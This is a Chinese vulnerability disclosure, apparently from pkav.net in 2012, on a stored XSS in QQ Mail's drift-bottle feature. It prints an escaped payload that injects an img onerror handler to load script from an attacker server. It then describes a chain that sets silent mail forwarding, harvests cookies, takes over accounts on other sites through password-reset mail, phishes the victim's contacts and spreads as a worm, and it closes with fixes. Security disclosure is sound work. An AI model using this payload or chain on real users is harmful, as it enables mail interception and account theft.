一只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?
1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。
具体测试过程:
1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。
1.2 定位到发送的漂流上,F12打开调试工具看代码。
1.3 同时查看抓包的代码,可以看到相同内容。
1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏
1.5 说明这里对反斜线的过滤存在问题。
1.6 进一步构造我们的利用代码。下面仅贴出部分源码。
请求时的利用代码
var serv="恶意外部JS文件所在服务器";
var mail2rec="接受转发的邮箱";
var mailUin="发送恶意漂流瓶的Hacker QQ";
var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";
进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码
@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt
代码中,所用到的pkav Object 见 http://itsokla.duapp.com/pkav.js (from http://pkav.net)
2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。
邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。
3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。
4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。
5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~
6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。
7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!
8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):
那么我们如果利用百度的密码找回功能。
可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。
10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。
11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。
12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。
13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!
修复方法:
1. 修复XSS问题。
2. 建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!
3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能
from:http://pkav.net/2012/08/qq-piaoliuping-xss/